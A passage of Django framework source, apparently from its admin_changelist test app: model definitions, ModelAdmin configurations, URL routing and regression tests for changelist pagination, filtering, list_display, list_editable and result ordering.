    group = models.ForeignKey(Group, models.CASCADE)
    role = models.CharField(max_length=15)


class Quartet(Group):
    pass


class ChordsMusician(Musician):
    pass


class ChordsBand(models.Model):
    name = models.CharField(max_length=30)
    members = models.ManyToManyField(ChordsMusician, through='Invitation')


class Invitation(models.Model):
    player = models.ForeignKey(ChordsMusician, models.CASCADE)
    band = models.ForeignKey(ChordsBand, models.CASCADE)
    instrument = models.CharField(max_length=15)


class Swallow(models.Model):
    origin = models.CharField(max_length=255)
    load = models.FloatField()
    speed = models.FloatField()

    class Meta:
        ordering = ('speed', 'load')


class SwallowOneToOne(models.Model):
    swallow = models.OneToOneField(Swallow, models.CASCADE)


class UnorderedObject(models.Model):
    """
    Model without any defined `Meta.ordering`.
    Refs #17198.
    """
    bool = models.BooleanField(default=True)


class OrderedObjectManager(models.Manager):
    def get_queryset(self):
        return super(OrderedObjectManager, self).get_queryset().order_by('number')


class OrderedObject(models.Model):
    """
    Model with Manager that defines a default order.
    Refs #17198.
    """
    name = models.CharField(max_length=255)
    bool = models.BooleanField(default=True)
    number = models.IntegerField(default=0, db_column='number_val')

    objects = OrderedObjectManager()


class CustomIdUser(models.Model):
    uuid = models.AutoField(primary_key=True)






from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from django.core.paginator import Paginator

from .models import Child, Event, Parent, Swallow

site = admin.AdminSite(name="admin")

site.register(User, UserAdmin)


class CustomPaginator(Paginator):
    def __init__(self, queryset, page_size, orphans=0, allow_empty_first_page=True):
        super(CustomPaginator, self).__init__(queryset, 5, orphans=2, allow_empty_first_page=allow_empty_first_page)


class EventAdmin(admin.ModelAdmin):
    list_display = ['event_date_func']

    def event_date_func(self, event):
        return event.date

    def has_add_permission(self, request):
        return False

site.register(Event, EventAdmin)


class ParentAdmin(admin.ModelAdmin):
    list_filter = ['child__name']
    search_fields = ['child__name']


class ChildAdmin(admin.ModelAdmin):
    list_display = ['name', 'parent']
    list_per_page = 10
    list_filter = ['parent', 'age']

    def get_queryset(self, request):
        return super(ChildAdmin, self).get_queryset(request).select_related("parent")


class CustomPaginationAdmin(ChildAdmin):
    paginator = CustomPaginator


class FilteredChildAdmin(admin.ModelAdmin):
    list_display = ['name', 'parent']
    list_per_page = 10

    def get_queryset(self, request):
        return super(FilteredChildAdmin, self).get_queryset(request).filter(
            name__contains='filtered')


class BandAdmin(admin.ModelAdmin):
    list_filter = ['genres']


class GroupAdmin(admin.ModelAdmin):
    list_filter = ['members']


class ConcertAdmin(admin.ModelAdmin):
    list_filter = ['group__members']
    search_fields = ['group__members__name']


class QuartetAdmin(admin.ModelAdmin):
    list_filter = ['members']


class ChordsBandAdmin(admin.ModelAdmin):
    list_filter = ['members']


class InvitationAdmin(admin.ModelAdmin):
    list_display = ('band', 'player')
    list_select_related = ('player',)


class DynamicListDisplayChildAdmin(admin.ModelAdmin):
    list_display = ('parent', 'name', 'age')

    def get_list_display(self, request):
        my_list_display = super(DynamicListDisplayChildAdmin, self).get_list_display(request)
        if request.user.username == 'noparents':
            my_list_display = list(my_list_display)
            my_list_display.remove('parent')
        return my_list_display


class DynamicListDisplayLinksChildAdmin(admin.ModelAdmin):
    list_display = ('parent', 'name', 'age')
    list_display_links = ['parent', 'name']

    def get_list_display_links(self, request, list_display):
        return ['age']

site.register(Child, DynamicListDisplayChildAdmin)


class NoListDisplayLinksParentAdmin(admin.ModelAdmin):
    list_display_links = None

site.register(Parent, NoListDisplayLinksParentAdmin)


class SwallowAdmin(admin.ModelAdmin):
    actions = None  # prevent ['action_checkbox'] + list(list_display)
    list_display = ('origin', 'load', 'speed', 'swallowonetoone')
    list_editable = ['load', 'speed']
    list_per_page = 3

site.register(Swallow, SwallowAdmin)


class DynamicListFilterChildAdmin(admin.ModelAdmin):
    list_filter = ('parent', 'name', 'age')

    def get_list_filter(self, request):
        my_list_filter = super(DynamicListFilterChildAdmin, self).get_list_filter(request)
        if request.user.username == 'noparents':
            my_list_filter = list(my_list_filter)
            my_list_filter.remove('parent')
        return my_list_filter


class DynamicSearchFieldsChildAdmin(admin.ModelAdmin):
    search_fields = ('name',)

    def get_search_fields(self, request):
        search_fields = super(DynamicSearchFieldsChildAdmin, self).get_search_fields(request)
        search_fields += ('age',)
        return search_fields


class EmptyValueChildAdmin(admin.ModelAdmin):
    empty_value_display = '-empty-'
    list_display = ('name', 'age_display', 'age')

    def age_display(self, obj):
        return obj.age
    age_display.empty_value_display = '&dagger;'






from django.conf.urls import url

from . import admin

urlpatterns = [
    url(r'^admin/', admin.site.urls),
]












from __future__ import unicode_literals

import datetime

from django.contrib import admin
from django.contrib.admin.models import LogEntry
from django.contrib.admin.options import IncorrectLookupParameters
from django.contrib.admin.templatetags.admin_list import pagination
from django.contrib.admin.tests import AdminSeleniumTestCase
from django.contrib.admin.views.main import ALL_VAR, SEARCH_VAR, ChangeList
from django.contrib.auth.models import User
from django.contrib.contenttypes.models import ContentType
from django.template import Context, Template
from django.test import TestCase, ignore_warnings, override_settings
from django.test.client import RequestFactory
from django.urls import reverse
from django.utils import formats, six
from django.utils.deprecation import RemovedInDjango20Warning

from .admin import (
    BandAdmin, ChildAdmin, ChordsBandAdmin, ConcertAdmin,
    CustomPaginationAdmin, CustomPaginator, DynamicListDisplayChildAdmin,
    DynamicListDisplayLinksChildAdmin, DynamicListFilterChildAdmin,
    DynamicSearchFieldsChildAdmin, EmptyValueChildAdmin, EventAdmin,
    FilteredChildAdmin, GroupAdmin, InvitationAdmin,
    NoListDisplayLinksParentAdmin, ParentAdmin, QuartetAdmin, SwallowAdmin,
    site as custom_site,
)
from .models import (
    Band, Child, ChordsBand, ChordsMusician, Concert, CustomIdUser, Event,
    Genre, Group, Invitation, Membership, Musician, OrderedObject, Parent,
    Quartet, Swallow, SwallowOneToOne, UnorderedObject,
)


def get_changelist_args(modeladmin, **kwargs):
    m = modeladmin
    args = (
        kwargs.pop('list_display', m.list_display),
        kwargs.pop('list_display_links', m.list_display_links),
        kwargs.pop('list_filter', m.list_filter),
        kwargs.pop('date_hierarchy', m.date_hierarchy),
        kwargs.pop('search_fields', m.search_fields),
        kwargs.pop('list_select_related', m.list_select_related),
        kwargs.pop('list_per_page', m.list_per_page),
        kwargs.pop('list_max_show_all', m.list_max_show_all),
        kwargs.pop('list_editable', m.list_editable),
        m,
    )
    assert not kwargs, "Unexpected kwarg %s" % kwargs
    return args


@override_settings(ROOT_URLCONF="admin_changelist.urls")
class ChangeListTests(TestCase):

    def setUp(self):
        self.factory = RequestFactory()

    def _create_superuser(self, username):
        return User.objects.create_superuser(username=username, email='a@b.com', password='xxx')

    def _mocked_authenticated_request(self, url, user):
        request = self.factory.get(url)
        request.user = user
        return request

    def test_select_related_preserved(self):
        """
        Regression test for #10348: ChangeList.get_queryset() shouldn't
        overwrite a custom select_related provided by ModelAdmin.get_queryset().
        """
        m = ChildAdmin(Child, custom_site)
        request = self.factory.get('/child/')
        cl = ChangeList(
            request, Child,
            *get_changelist_args(m, list_select_related=m.get_list_select_related(request))
        )
        self.assertEqual(cl.queryset.query.select_related, {'parent': {}})

    def test_select_related_as_tuple(self):
        ia = InvitationAdmin(Invitation, custom_site)
        request = self.factory.get('/invitation/')
        cl = ChangeList(
            request, Child,
            *get_changelist_args(ia, list_select_related=ia.get_list_select_related(request))
        )
        self.assertEqual(cl.queryset.query.select_related, {'player': {}})

    def test_select_related_as_empty_tuple(self):
        ia = InvitationAdmin(Invitation, custom_site)
        ia.list_select_related = ()
        request = self.factory.get('/invitation/')
        cl = ChangeList(
            request, Child,
            *get_changelist_args(ia, list_select_related=ia.get_list_select_related(request))
        )
        self.assertIs(cl.queryset.query.select_related, False)

    def test_get_select_related_custom_method(self):
        class GetListSelectRelatedAdmin(admin.ModelAdmin):
            list_display = ('band', 'player')

            def get_list_select_related(self, request):
                return ('band', 'player')

        ia = GetListSelectRelatedAdmin(Invitation, custom_site)
        request = self.factory.get('/invitation/')
        cl = ChangeList(
            request, Child,
            *get_changelist_args(ia, list_select_related=ia.get_list_select_related(request))
        )
        self.assertEqual(cl.queryset.query.select_related, {'player': {}, 'band': {}})

    def test_result_list_empty_changelist_value(self):
        """
        Regression test for #14982: EMPTY_CHANGELIST_VALUE should be honored
        for relationship fields
        """
        new_child = Child.objects.create(name='name', parent=None)
        request = self.factory.get('/child/')
        m = ChildAdmin(Child, custom_site)
        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.formset = None
        template = Template('{% load admin_list %}{% spaceless %}{% result_list cl %}{% endspaceless %}')
        context = Context({'cl': cl})
        table_output = template.render(context)
        link = reverse('admin:admin_changelist_child_change', args=(new_child.id,))
        row_html = (
            '<tbody><tr class="row1"><th class="field-name"><a href="%s">name</a></th>'
            '<td class="field-parent nowrap">-</td></tr></tbody>' % link
        )
        self.assertNotEqual(table_output.find(row_html), -1, 'Failed to find expected row element: %s' % table_output)

    def test_result_list_set_empty_value_display_on_admin_site(self):
        """
        Test that empty value display can be set on AdminSite
        """
        new_child = Child.objects.create(name='name', parent=None)
        request = self.factory.get('/child/')
        # Set a new empty display value on AdminSite.
        admin.site.empty_value_display = '???'
        m = ChildAdmin(Child, admin.site)
        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.formset = None
        template = Template('{% load admin_list %}{% spaceless %}{% result_list cl %}{% endspaceless %}')
        context = Context({'cl': cl})
        table_output = template.render(context)
        link = reverse('admin:admin_changelist_child_change', args=(new_child.id,))
        row_html = (
            '<tbody><tr class="row1"><th class="field-name"><a href="%s">name</a></th>'
            '<td class="field-parent nowrap">???</td></tr></tbody>' % link
        )
        self.assertNotEqual(table_output.find(row_html), -1, 'Failed to find expected row element: %s' % table_output)

    def test_result_list_set_empty_value_display_in_model_admin(self):
        """
        Test that empty value display can be set in ModelAdmin or individual fields.
        """
        new_child = Child.objects.create(name='name', parent=None)
        request = self.factory.get('/child/')
        m = EmptyValueChildAdmin(Child, admin.site)
        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.formset = None
        template = Template('{% load admin_list %}{% spaceless %}{% result_list cl %}{% endspaceless %}')
        context = Context({'cl': cl})
        table_output = template.render(context)
        link = reverse('admin:admin_changelist_child_change', args=(new_child.id,))
        row_html = (
            '<tbody><tr class="row1"><th class="field-name"><a href="%s">name</a></th>'
            '<td class="field-age_display">&amp;dagger;</td><td class="field-age">-empty-</td></tr></tbody>' % link
        )
        self.assertNotEqual(table_output.find(row_html), -1, 'Failed to find expected row element: %s' % table_output)

    def test_result_list_html(self):
        """
        Verifies that inclusion tag result_list generates a table when with
        default ModelAdmin settings.
        """
        new_parent = Parent.objects.create(name='parent')
        new_child = Child.objects.create(name='name', parent=new_parent)
        request = self.factory.get('/child/')
        m = ChildAdmin(Child, custom_site)
        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.formset = None
        template = Template('{% load admin_list %}{% spaceless %}{% result_list cl %}{% endspaceless %}')
        context = Context({'cl': cl})
        table_output = template.render(context)
        link = reverse('admin:admin_changelist_child_change', args=(new_child.id,))
        row_html = (
            '<tbody><tr class="row1"><th class="field-name"><a href="%s">name</a></th>'
            '<td class="field-parent nowrap">Parent object</td></tr></tbody>' % link
        )
        self.assertNotEqual(table_output.find(row_html), -1, 'Failed to find expected row element: %s' % table_output)

    def test_result_list_editable_html(self):
        """
        Regression tests for #11791: Inclusion tag result_list generates a
        table and this checks that the items are nested within the table
        element tags.
        Also a regression test for #13599, verifies that hidden fields
        when list_editable is enabled are rendered in a div outside the
        table.
        """
        new_parent = Parent.objects.create(name='parent')
        new_child = Child.objects.create(name='name', parent=new_parent)
        request = self.factory.get('/child/')
        m = ChildAdmin(Child, custom_site)

        # Test with list_editable fields
        m.list_display = ['id', 'name', 'parent']
        m.list_display_links = ['id']
        m.list_editable = ['name']
        cl = ChangeList(request, Child, *get_changelist_args(m))
        FormSet = m.get_changelist_formset(request)
        cl.formset = FormSet(queryset=cl.result_list)
        template = Template('{% load admin_list %}{% spaceless %}{% result_list cl %}{% endspaceless %}')
        context = Context({'cl': cl})
        table_output = template.render(context)
        # make sure that hidden fields are in the correct place
        hiddenfields_div = (
            '<div class="hiddenfields">'
            '<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" />'
            '</div>'
        ) % new_child.id
        self.assertInHTML(hiddenfields_div, table_output, msg_prefix='Failed to find hidden fields')

        # make sure that list editable fields are rendered in divs correctly
        editable_name_field = (
            '<input name="form-0-name" value="name" class="vTextField" '
            'maxlength="30" type="text" id="id_form-0-name" />'
        )
        self.assertInHTML(
            '<td class="field-name">%s</td>' % editable_name_field,
            table_output,
            msg_prefix='Failed to find "name" list_editable field',
        )

    def test_result_list_editable(self):
        """
        Regression test for #14312: list_editable with pagination
        """
        new_parent = Parent.objects.create(name='parent')
        for i in range(200):
            Child.objects.create(name='name %s' % i, parent=new_parent)
        request = self.factory.get('/child/', data={'p': -1})  # Anything outside range
        m = ChildAdmin(Child, custom_site)

        # Test with list_editable fields
        m.list_display = ['id', 'name', 'parent']
        m.list_display_links = ['id']
        m.list_editable = ['name']
        with self.assertRaises(IncorrectLookupParameters):
            ChangeList(request, Child, *get_changelist_args(m))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_result_list_with_allow_tags(self):
        """
        Test for deprecation of allow_tags attribute
        """
        new_parent = Parent.objects.create(name='parent')
        for i in range(2):
            Child.objects.create(name='name %s' % i, parent=new_parent)
        request = self.factory.get('/child/')
        m = ChildAdmin(Child, custom_site)

        def custom_method(self, obj=None):
            return 'Unsafe html <br />'
        custom_method.allow_tags = True

        # Add custom method with allow_tags attribute
        m.custom_method = custom_method
        m.list_display = ['id', 'name', 'parent', 'custom_method']

        cl = ChangeList(request, Child, *get_changelist_args(m))
        FormSet = m.get_changelist_formset(request)
        cl.formset = FormSet(queryset=cl.result_list)
        template = Template('{% load admin_list %}{% spaceless %}{% result_list cl %}{% endspaceless %}')
        context = Context({'cl': cl})
        table_output = template.render(context)
        custom_field_html = '<td class="field-custom_method">Unsafe html <br /></td>'
        self.assertInHTML(custom_field_html, table_output)

    def test_custom_paginator(self):
        new_parent = Parent.objects.create(name='parent')
        for i in range(200):
            Child.objects.create(name='name %s' % i, parent=new_parent)

        request = self.factory.get('/child/')
        m = CustomPaginationAdmin(Child, custom_site)

        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.get_results(request)
        self.assertIsInstance(cl.paginator, CustomPaginator)

    def test_distinct_for_m2m_in_list_filter(self):
        """
        Regression test for #13902: When using a ManyToMany in list_filter,
        results shouldn't appear more than once. Basic ManyToMany.
        """
        blues = Genre.objects.create(name='Blues')
        band = Band.objects.create(name='B.B. King Review', nr_of_members=11)

        band.genres.add(blues)
        band.genres.add(blues)

        m = BandAdmin(Band, custom_site)
        request = self.factory.get('/band/', data={'genres': blues.pk})

        cl = ChangeList(request, Band, *get_changelist_args(m))
        cl.get_results(request)

        # There's only one Group instance
        self.assertEqual(cl.result_count, 1)

    def test_distinct_for_through_m2m_in_list_filter(self):
        """
        Regression test for #13902: When using a ManyToMany in list_filter,
        results shouldn't appear more than once. With an intermediate model.
        """
        lead = Musician.objects.create(name='Vox')
        band = Group.objects.create(name='The Hype')
        Membership.objects.create(group=band, music=lead, role='lead voice')
        Membership.objects.create(group=band, music=lead, role='bass player')

        m = GroupAdmin(Group, custom_site)
        request = self.factory.get('/group/', data={'members': lead.pk})

        cl = ChangeList(request, Group, *get_changelist_args(m))
        cl.get_results(request)

        # There's only one Group instance
        self.assertEqual(cl.result_count, 1)

    def test_distinct_for_through_m2m_at_second_level_in_list_filter(self):
        """
        When using a ManyToMany in list_filter at the second level behind a
        ForeignKey, distinct() must be called and results shouldn't appear more
        than once.
        """
        lead = Musician.objects.create(name='Vox')
        band = Group.objects.create(name='The Hype')
        Concert.objects.create(name='Woodstock', group=band)
        Membership.objects.create(group=band, music=lead, role='lead voice')
        Membership.objects.create(group=band, music=lead, role='bass player')

        m = ConcertAdmin(Concert, custom_site)
        request = self.factory.get('/concert/', data={'group__members': lead.pk})

        cl = ChangeList(request, Concert, *get_changelist_args(m))
        cl.get_results(request)

        # There's only one Concert instance
        self.assertEqual(cl.result_count, 1)

    def test_distinct_for_inherited_m2m_in_list_filter(self):
        """
        Regression test for #13902: When using a ManyToMany in list_filter,
        results shouldn't appear more than once. Model managed in the
        admin inherits from the one that defins the relationship.
        """
        lead = Musician.objects.create(name='John')
        four = Quartet.objects.create(name='The Beatles')
        Membership.objects.create(group=four, music=lead, role='lead voice')
        Membership.objects.create(group=four, music=lead, role='guitar player')

        m = QuartetAdmin(Quartet, custom_site)
        request = self.factory.get('/quartet/', data={'members': lead.pk})

        cl = ChangeList(request, Quartet, *get_changelist_args(m))
        cl.get_results(request)

        # There's only one Quartet instance
        self.assertEqual(cl.result_count, 1)

    def test_distinct_for_m2m_to_inherited_in_list_filter(self):
        """
        Regression test for #13902: When using a ManyToMany in list_filter,
        results shouldn't appear more than once. Target of the relationship
        inherits from another.
        """
        lead = ChordsMusician.objects.create(name='Player A')
        three = ChordsBand.objects.create(name='The Chords Trio')
        Invitation.objects.create(band=three, player=lead, instrument='guitar')
        Invitation.objects.create(band=three, player=lead, instrument='bass')

        m = ChordsBandAdmin(ChordsBand, custom_site)
        request = self.factory.get('/chordsband/', data={'members': lead.pk})

        cl = ChangeList(request, ChordsBand, *get_changelist_args(m))
        cl.get_results(request)

        # There's only one ChordsBand instance
        self.assertEqual(cl.result_count, 1)

    def test_distinct_for_non_unique_related_object_in_list_filter(self):
        """
        Regressions tests for #15819: If a field listed in list_filters
        is a non-unique related object, distinct() must be called.
        """
        parent = Parent.objects.create(name='Mary')
        # Two children with the same name
        Child.objects.create(parent=parent, name='Daniel')
        Child.objects.create(parent=parent, name='Daniel')

        m = ParentAdmin(Parent, custom_site)
        request = self.factory.get('/parent/', data={'child__name': 'Daniel'})

        cl = ChangeList(request, Parent, *get_changelist_args(m))
        # Make sure distinct() was called
        self.assertEqual(cl.queryset.count(), 1)

    def test_distinct_for_non_unique_related_object_in_search_fields(self):
        """
        Regressions tests for #15819: If a field listed in search_fields
        is a non-unique related object, distinct() must be called.
        """
        parent = Parent.objects.create(name='Mary')
        Child.objects.create(parent=parent, name='Danielle')
        Child.objects.create(parent=parent, name='Daniel')

        m = ParentAdmin(Parent, custom_site)
        request = self.factory.get('/parent/', data={SEARCH_VAR: 'daniel'})

        cl = ChangeList(request, Parent, *get_changelist_args(m))
        # Make sure distinct() was called
        self.assertEqual(cl.queryset.count(), 1)

    def test_distinct_for_many_to_many_at_second_level_in_search_fields(self):
        """
        When using a ManyToMany in search_fields at the second level behind a
        ForeignKey, distinct() must be called and results shouldn't appear more
        than once.
        """
        lead = Musician.objects.create(name='Vox')
        band = Group.objects.create(name='The Hype')
        Concert.objects.create(name='Woodstock', group=band)
        Membership.objects.create(group=band, music=lead, role='lead voice')
        Membership.objects.create(group=band, music=lead, role='bass player')

        m = ConcertAdmin(Concert, custom_site)
        request = self.factory.get('/concert/', data={SEARCH_VAR: 'vox'})

        cl = ChangeList(request, Concert, *get_changelist_args(m))
        # There's only one Concert instance
        self.assertEqual(cl.queryset.count(), 1)

    def test_pagination(self):
        """
        Regression tests for #12893: Pagination in admins changelist doesn't
        use queryset set by modeladmin.
        """
        parent = Parent.objects.create(name='anything')
        for i in range(30):
            Child.objects.create(name='name %s' % i, parent=parent)
            Child.objects.create(name='filtered %s' % i, parent=parent)

        request = self.factory.get('/child/')

        # Test default queryset
        m = ChildAdmin(Child, custom_site)
        cl = ChangeList(request, Child, *get_changelist_args(m))
        self.assertEqual(cl.queryset.count(), 60)
        self.assertEqual(cl.paginator.count, 60)
        self.assertEqual(list(cl.paginator.page_range), [1, 2, 3, 4, 5, 6])

        # Test custom queryset
        m = FilteredChildAdmin(Child, custom_site)
        cl = ChangeList(request, Child, *get_changelist_args(m))
        self.assertEqual(cl.queryset.count(), 30)
        self.assertEqual(cl.paginator.count, 30)
        self.assertEqual(list(cl.paginator.page_range), [1, 2, 3])

    def test_computed_list_display_localization(self):
        """
        Regression test for #13196: output of functions should be  localized
        in the changelist.
        """
        superuser = User.objects.create_superuser(username='super', email='super@localhost', password='secret')
        self.client.force_login(superuser)
        event = Event.objects.create(date=datetime.date.today())
        response = self.client.get(reverse('admin:admin_changelist_event_changelist'))
        self.assertContains(response, formats.localize(event.date))
        self.assertNotContains(response, six.text_type(event.date))

    def test_dynamic_list_display(self):
        """
        Regression tests for #14206: dynamic list_display support.
        """
        parent = Parent.objects.create(name='parent')
        for i in range(10):
            Child.objects.create(name='child %s' % i, parent=parent)

        user_noparents = self._create_superuser('noparents')
        user_parents = self._create_superuser('parents')

        # Test with user 'noparents'
        m = custom_site._registry[Child]
        request = self._mocked_authenticated_request('/child/', user_noparents)
        response = m.changelist_view(request)
        self.assertNotContains(response, 'Parent object')

        list_display = m.get_list_display(request)
        list_display_links = m.get_list_display_links(request, list_display)
        self.assertEqual(list_display, ['name', 'age'])
        self.assertEqual(list_display_links, ['name'])

        # Test with user 'parents'
        m = DynamicListDisplayChildAdmin(Child, custom_site)
        request = self._mocked_authenticated_request('/child/', user_parents)
        response = m.changelist_view(request)
        self.assertContains(response, 'Parent object')

        custom_site.unregister(Child)

        list_display = m.get_list_display(request)
        list_display_links = m.get_list_display_links(request, list_display)
        self.assertEqual(list_display, ('parent', 'name', 'age'))
        self.assertEqual(list_display_links, ['parent'])

        # Test default implementation
        custom_site.register(Child, ChildAdmin)
        m = custom_site._registry[Child]
        request = self._mocked_authenticated_request('/child/', user_noparents)
        response = m.changelist_view(request)
        self.assertContains(response, 'Parent object')

    def test_show_all(self):
        parent = Parent.objects.create(name='anything')
        for i in range(30):
            Child.objects.create(name='name %s' % i, parent=parent)
            Child.objects.create(name='filtered %s' % i, parent=parent)

        # Add "show all" parameter to request
        request = self.factory.get('/child/', data={ALL_VAR: ''})

        # Test valid "show all" request (number of total objects is under max)
        m = ChildAdmin(Child, custom_site)
        m.list_max_show_all = 200
        # 200 is the max we'll pass to ChangeList
        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.get_results(request)
        self.assertEqual(len(cl.result_list), 60)

        # Test invalid "show all" request (number of total objects over max)
        # falls back to paginated pages
        m = ChildAdmin(Child, custom_site)
        m.list_max_show_all = 30
        # 30 is the max we'll pass to ChangeList for this test
        cl = ChangeList(request, Child, *get_changelist_args(m))
        cl.get_results(request)
        self.assertEqual(len(cl.result_list), 10)

    def test_dynamic_list_display_links(self):
        """
        Regression tests for #16257: dynamic list_display_links support.
        """
        parent = Parent.objects.create(name='parent')
        for i in range(1, 10):
            Child.objects.create(id=i, name='child %s' % i, parent=parent, age=i)

        m = DynamicListDisplayLinksChildAdmin(Child, custom_site)
        superuser = self._create_superuser('superuser')
        request = self._mocked_authenticated_request('/child/', superuser)
        response = m.changelist_view(request)
        for i in range(1, 10):
            link = reverse('admin:admin_changelist_child_change', args=(i,))
            self.assertContains(response, '<a href="%s">%s</a>' % (link, i))

        list_display = m.get_list_display(request)
        list_display_links = m.get_list_display_links(request, list_display)
        self.assertEqual(list_display, ('parent', 'name', 'age'))
        self.assertEqual(list_display_links, ['age'])

    def test_no_list_display_links(self):
        """#15185 -- Allow no links from the 'change list' view grid."""
        p = Parent.objects.create(name='parent')
        m = NoListDisplayLinksParentAdmin(Parent, custom_site)
        superuser = self._create_superuser('superuser')
        request = self._mocked_authenticated_request('/parent/', superuser)
        response = m.changelist_view(request)
        link = reverse('admin:admin_changelist_parent_change', args=(p.pk,))
        self.assertNotContains(response, '<a href="%s">' % link)

    def test_tuple_list_display(self):
        """
        Regression test for #17128
        (ChangeList failing under Python 2.5 after r16319)
        """
        swallow = Swallow.objects.create(origin='Africa', load='12.34', speed='22.2')
        swallow2 = Swallow.objects.create(origin='Africa', load='12.34', speed='22.2')
        swallow_o2o = SwallowOneToOne.objects.create(swallow=swallow2)

        model_admin = SwallowAdmin(Swallow, custom_site)
        superuser = self._create_superuser('superuser')
        request = self._mocked_authenticated_request('/swallow/', superuser)
        response = model_admin.changelist_view(request)
        # just want to ensure it doesn't blow up during rendering
        self.assertContains(response, six.text_type(swallow.origin))
        self.assertContains(response, six.text_type(swallow.load))
        self.assertContains(response, six.text_type(swallow.speed))
        # Reverse one-to-one relations should work.
        self.assertContains(response, '<td class="field-swallowonetoone">-</td>')
        self.assertContains(response, '<td class="field-swallowonetoone">%s</td>' % swallow_o2o)

    def test_multiuser_edit(self):
        """
        Simultaneous edits of list_editable fields on the changelist by
        different users must not result in one user's edits creating a new
        object instead of modifying the correct existing object (#11313).
        """
        # To replicate this issue, simulate the following steps:
        # 1. User1 opens an admin changelist with list_editable fields.
        # 2. User2 edits object "Foo" such that it moves to another page in
        #    the pagination order and saves.
        # 3. User1 edits object "Foo" and saves.
        # 4. The edit made by User1 does not get applied to object "Foo" but
        #    instead is used to create a new object (bug).

        # For this test, order the changelist by the 'speed' attribute and
        # display 3 objects per page (SwallowAdmin.list_per_page = 3).

        # Setup the test to reflect the DB state after step 2 where User2 has
        # edited the first swallow object's speed from '4' to '1'.
        a = Swallow.objects.create(origin='Swallow A', load=4, speed=1)
        b = Swallow.objects.create(origin='Swallow B', load=2, speed=2)
        c = Swallow.objects.create(origin='Swallow C', load=5, speed=5)
        d = Swallow.objects.create(origin='Swallow D', load=9, speed=9)

        superuser = self._create_superuser('superuser')
        self.client.force_login(superuser)
        changelist_url = reverse('admin:admin_changelist_swallow_changelist')

        # Send the POST from User1 for step 3. It's still using the changelist
        # ordering from before User2's edits in step 2.
        data = {
            'form-TOTAL_FORMS': '3',
            'form-INITIAL_FORMS': '3',
            'form-MIN_NUM_FORMS': '0',
            'form-MAX_NUM_FORMS': '1000',
            'form-0-id': str(d.pk),
            'form-1-id': str(c.pk),
            'form-2-id': str(a.pk),
            'form-0-load': '9.0',
            'form-0-speed': '9.0',
            'form-1-load': '5.0',
            'form-1-speed': '5.0',
            'form-2-load': '5.0',
            'form-2-speed': '4.0',
            '_save': 'Save',
        }
        response = self.client.post(changelist_url, data, follow=True, extra={'o': '-2'})

        # The object User1 edited in step 3 is displayed on the changelist and
        # has the correct edits applied.
        self.assertContains(response, '1 swallow was changed successfully.')
        self.assertContains(response, a.origin)
        a.refresh_from_db()
        self.assertEqual(a.load, float(data['form-2-load']))
        self.assertEqual(a.speed, float(data['form-2-speed']))
        b.refresh_from_db()
        self.assertEqual(b.load, 2)
        self.assertEqual(b.speed, 2)
        c.refresh_from_db()
        self.assertEqual(c.load, float(data['form-1-load']))
        self.assertEqual(c.speed, float(data['form-1-speed']))
        d.refresh_from_db()
        self.assertEqual(d.load, float(data['form-0-load']))
        self.assertEqual(d.speed, float(data['form-0-speed']))
        # No new swallows were created.
        self.assertEqual(len(Swallow.objects.all()), 4)

    def test_deterministic_order_for_unordered_model(self):
        """
        Ensure that the primary key is systematically used in the ordering of
        the changelist's results to guarantee a deterministic order, even
        when the Model doesn't have any default ordering defined.
        Refs #17198.
        """
        superuser = self._create_superuser('superuser')

        for counter in range(1, 51):
            UnorderedObject.objects.create(id=counter, bool=True)

        class UnorderedObjectAdmin(admin.ModelAdmin):
            list_per_page = 10

        def check_results_order(ascending=False):
            custom_site.register(UnorderedObject, UnorderedObjectAdmin)
            model_admin = UnorderedObjectAdmin(UnorderedObject, custom_site)
            counter = 0 if ascending else 51
            for page in range(0, 5):
                request = self._mocked_authenticated_request('/unorderedobject/?p=%s' % page, superuser)
                response = model_admin.changelist_view(request)
                for result in response.context_data['cl'].result_list:
                    counter += 1 if ascending else -1
                    self.assertEqual(result.id, counter)
            custom_site.unregister(UnorderedObject)

        # When no order is defined at all, everything is ordered by '-pk'.
        check_results_order()

        # When an order field is defined but multiple records have the same
        # value for that field, make sure everything gets ordered by -pk as well.
        UnorderedObjectAdmin.ordering = ['bool']
        check_results_order()

        # When order fields are defined, including the pk itself, use them.
        UnorderedObjectAdmin.ordering = ['bool', '-pk']
        check_results_order()
        UnorderedObjectAdmin.ordering = ['bool', 'pk']
        check_results_order(ascending=True)
        UnorderedObjectAdmin.ordering = ['-id', 'bool']
        check_results_order()
        UnorderedObjectAdmin.ordering = ['id', 'bool']
        check_results_order(ascending=True)

    def test_deterministic_order_for_model_ordered_by_its_manager(self):
        """
        Ensure that the primary key is systematically used in the ordering of
        the changelist's results to guarantee a deterministic order, even
        when the Model has a manager that defines a default ordering.
        Refs #17198.
        """
        superuser = self._create_superuser('superuser')

        for counter in range(1, 51):
            OrderedObject.objects.create(id=counter, bool=True, number=counter)

        class OrderedObjectAdmin(admin.ModelAdmin):
            list_per_page = 10

        def check_results_order(ascending=False):
            custom_site.register(OrderedObject, OrderedObjectAdmin)
            model_admin = OrderedObjectAdmin(OrderedObject, custom_site)
            counter = 0 if ascending else 51
            for page in range(0, 5):
                request = self._mocked_authenticated_request('/orderedobject/?p=%s' % page, superuser)
                response = model_admin.changelist_view(request)
                for result in response.context_data['cl'].result_list:
                    counter += 1 if ascending else -1
                    self.assertEqual(result.id, counter)
            custom_site.unregister(OrderedObject)

        # When no order is defined at all, use the model's default ordering (i.e. 'number')
        check_results_order(ascending=True)

        # When an order field is defined but multiple records have the same
        # value for that field, make sure everything gets ordered by -pk as well.
        OrderedObjectAdmin.ordering = ['bool']
        check_results_order()

        # When order fields are defined, including the pk itself, use them.
        OrderedObjectAdmin.ordering = ['bool', '-pk']
        check_results_order()
        OrderedObjectAdmin.ordering = ['bool', 'pk']
        check_results_order(ascending=True)
        OrderedObjectAdmin.ordering = ['-id', 'bool']
        check_results_order()
        OrderedObjectAdmin.ordering = ['id', 'bool']
        check_results_order(ascending=True)

    def test_dynamic_list_filter(self):
        """
        Regression tests for ticket #17646: dynamic list_filter support.
        """
        parent = Parent.objects.create(name='parent')
